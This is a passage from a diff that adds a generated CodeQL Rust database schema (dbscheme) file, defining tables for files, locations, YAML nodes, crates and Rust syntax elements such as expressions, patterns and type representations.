@use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); diff --git a/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/rust.dbscheme b/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/rust.dbscheme new file mode 100644 index 000000000000..a1005655e9ef --- /dev/null +++ b/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/rust.dbscheme @@ -0,0 +1,3606 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] +callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_block_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| @paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref +); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: @param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_is_unsafe( + int id: @struct_field ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] +use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + +#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: @assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + 